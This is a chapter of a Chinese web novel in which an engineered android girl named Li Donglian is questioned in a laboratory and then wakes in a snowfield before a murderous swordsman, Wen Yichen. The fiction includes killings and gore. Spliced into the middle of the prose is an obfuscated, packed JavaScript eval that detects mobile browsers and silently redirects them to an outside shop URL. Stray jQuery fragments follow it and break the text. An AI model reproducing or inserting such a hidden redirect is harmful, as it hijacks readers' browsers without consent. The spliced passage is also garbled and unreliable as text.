干净整洁，一丝不苟的实验室内，一名长发少女被安放在操作架上，她没有表层的肌肤，所有的器官内脏展露无遗。


    只有一张漂亮的人皮脸蛋。


    呼吸均匀，心脏搏动证明着少女是活着的。


    实验室门外推门进来一个中年女人，黑框眼镜，体型偏瘦，人们最早注意到的，一定是她的机械右手。


    实验组经常背地里议论张雯，明明几乎全身都做了机械改造，近视手术却要求保留两百的近视度数。


    让人琢磨不透。


    感应到有人进入实验室，操作架上的少女抬起头来，眼睛发出蓝光，“晚上好，张雯教授。”


    张雯双手插在白色外套的口袋上，一只口袋插着笔，另一只口袋放着她的随记本。


    张雯掏出笔和本子，如同往日一般问道:“你叫什么名字?”


    少女的声音悦耳动听，乖巧的回答道:“李冬莲。”


    张雯听到后，眉头一皱，额间又多了几道皱纹，压下烦躁按下耳麦，“江朋，你上一次重设L-328型号是什么时间?”


    耳麦传过一丝电流声，才传来男人的郁闷的声音，“咋，又出错了?就昨天，我在记录手册记下来了，也上传对话备份了。”


    又是电流声，男人的声音显得有点断断续续，“怎……么……吗?”


    张雯吸了一口气，表情不太愉悦，沉默半响才厉声道:“328回答她叫李冬莲!”


    “你到底有没有重设?”


    “啊?你别急，我马上过来。”


    张雯听另一边没了声响，对话之时，她一直在与L-328型对视。


    眼睛是刻意设置成闪烁蓝光，为了让她保留机器的特征，不然真的太像人。


    张雯在等待的时间内提问第二个问题，原本要照例提问测试题，张雯转念一想，脱口而出问道:“你在看什么?”


    少女的头颅灵活的摇了摇头，“我在发呆。”


    张雯按压了一下笔帽，上下打量眼前觉得有趣，捏紧的手指却透露出她潜在的一丝紧张，“你能区分发呆和待机么？”


    “能呀，发呆我的意识可以飞到很远很远的地方，待机就只能待着这个空间里。”少女说着，还用手比划了一下。


    张雯皱眉，两三步走到少女的面前，站在侧面，可以看见少女一颗粉嫩的脑子，是生物培育用脑。


    与普通人类一般无二，但是大脑开发度超过60%，大脑活跃度拔高的同时，使用寿命也大大缩短，基本不能超过三年。


    张雯继续问道：“那你的意识飞向哪里呢？”


    少女露出近乎腼腆的一笑，笑的纯真可爱，“3号园区，那里还有一只陪我玩的小狗。”


    “滴——”


    张雯按下了关机按钮，脸色严肃的可怕，眼前的少女的眼睛失去蓝色光芒，所有的器官都停止运转，但她却总觉得有一道目光看向自己。


    处理生虾的时候，明明剪掉了头，身体却还会跳动，理智上告诉自己，虾已经死了，但是心里依然会忍不住发毛。


    这个时候低头发现，落在碗里的虾头眼睛依旧黑溜溜的盯着你。


    张雯现在就是这种感觉。


    三号园区是她们最大的实验体培育基地，也是造人工厂，隔壁是西部最大的云端数据库，全国最大的意识上传中心。


    张雯按下耳麦，打通了另一个语音，“你们提供的生物脑真的是培育……”


    张雯话没有说完，后脑勺一痛，合上了眼睛，失去意识。


    好痛……


    李冬莲脑子被是被搅动，搅成浆糊又重新成模，疼痛到难以忍受，全身的每一根神经都在紧绷。


    她什么声音都听不见，也动弹不得。


    不知道过了多久，她终于听到了些许声音。


    “不，别，别杀我……”


    “啊！！！”


    男人的惨叫凄厉无比，好似遭受了什么酷刑。


    李冬莲艰难的扭动着僵硬的身躯，好不容易撑着地面坐起来，依旧是熟悉的冰天雪地，她的四周倒下几具无头尸体，前方不远处一个白色身影将冰剑插入哀求之人的喉部。


    身穿白衣的男人眉头蹙起，看起来有些厌烦，像是嫌惨叫的人声音太吵。


    白衣男子注意到这边的动静，扭头看见了李冬莲，李冬莲也看见那张熟悉的脸，是温以臣。


    李冬莲敏锐的察觉有些许不一样，但是又说不上来。


    李冬莲呆呆的看着温以臣，温以臣几步走到李冬莲面前，看着刚刚他亲手杀死的女尸，如今重新活了过来。


    少女的眼里没有恐惧，清明无比，刚刚没有认真看，温以臣这才发觉，少女的样貌有几分熟悉，让他想起一个讨厌的人。


    恨不得杀死的人。


    杀一次不死，再杀一次好了。


    温以臣提起的冰剑毫不犹豫，下一秒就要砍了眼前少女的头颅。


    这样死的透彻一些。


    “温以……臣。”


    李冬莲身上的冷意疯狂滚动着，温以臣手中的剑偏了一瞬，没有斩断墨发少女的脑袋，而是从喉间轻轻划过，尖刃划过少女细嫩的肌肤，渗出血丝。


    温以臣用剑挑起李冬莲的下巴，“你认识我啊？”


    墨发少女的眼睛频频眨动，温以臣满意的从中阅读出恐惧的神色，听见少女嘶哑着发出声音，“听过。”


    李冬莲觉得自己喉间满是血腥味，但是现今她一动不敢动，轻仰着头接受着温以臣的审视。


    和第一次见面的时候很像，当时的温以臣也曾冷冷的观察她，但是那种冰冷只是一瞬间，而现在的温以臣，没有把她当人看。


    在看一个死人。


    她的危险预警到现在都没有停止，浑身泛着冷，内心在叫嚣着，让她赶紧离开。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086504|194964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    李冬莲忍不住握紧手安抚内心的慌张，却发现自己的右手本来就攥紧了一个坚硬的东西，触摸的纹路像是一把钥匙。


    李冬莲整个人呆滞一瞬，过往的记忆全都在脑海里闪回，从她以为的第一次穿越，到温以臣挖出心脏。


    现在又回到了起点。


    这是系统自动修正了？


    “听过？”


    李冬莲的思绪被一声轻笑打断，“你听谁说过？”


    温以臣站立着，漫天大雪，没有一片雪花沾染上他，围绕着他飞舞，清冷万分，宛如行走在这个世界上的神祇。


    一双灰瞳仿佛能摄人心魄，而李冬莲的大脑一片空白。


    温以臣浏览了李冬莲的记忆，什么都没有看见，犹如一张白纸，一点墨迹都不曾沾染上，没有窥探的途径。


    李冬莲还没有回答，就见温以臣收起剑，缓缓伸出手，骨节分明修长，“手里拿着什么？”


    方才李冬莲任何一个微小的动作都没有逃过他的眼睛，李冬莲颤着手把手里的东西放入温以臣的掌心。


    不是钥匙，而是一团雪。


    “呵，”温以臣笑了，把手中的雪团捏碎，对眼前的少女轻声问道：“能站起来么？”


    李冬莲点了点头。


    她的身体在雪地中早就冷得僵硬，少女极其艰难的站了起来，理了理耳边的碎发，刘海早已结满了冰霜，泛着灰白。


    温以臣问道：“姑娘，旁边是你的家吗？”


    “刚刚似乎被这些野蛮的家伙霸占了，我帮你清理了。”


    温以臣嘴角微笑着，声音温和的不行，和刚刚完全不同，说着眼睛看向一旁的小木屋。


    记忆中相似的小木屋，屋檐上积淀了一层厚厚的雪，李冬莲摇了摇头，“不是的。”


    “没关系，现在就是你的家了。”温以臣道。


    李冬莲有点不懂温以臣的意思，抬头看向他的眼睛里满是疑惑，她的危险预警到现在都没有停止响应。


    就连系统她都调不出来。


    也没有她当初第一次遇见温以臣所看到的标识。


    甚至都有点让她怀疑，她现在所相信的自我直觉，死亡预警是真的还是假的。


    还是纯粹对眼前温以臣的恐惧，对未知的恐惧。


    “温以臣，我的名字叫李冬莲，冬天的冬，莲花的莲。”李冬莲开口道，努力让自己的声音听起来平静一些。


    温以臣漫不经心的点了下头，像是没听进去。


    “温以臣，你什么都不……”李冬莲站定，话没有说完，喉间就溢出一口鲜血，止住了她将要说的话。


    温以臣惊奇的看着她，仿佛发现了什么有意思的玩具，“李冬莲，李姑娘是吗？”


    “看起来你似乎有很多话想对我说。”


    “不要着急，慢慢来。”


    “总有其他方式可以说出来，对吗？”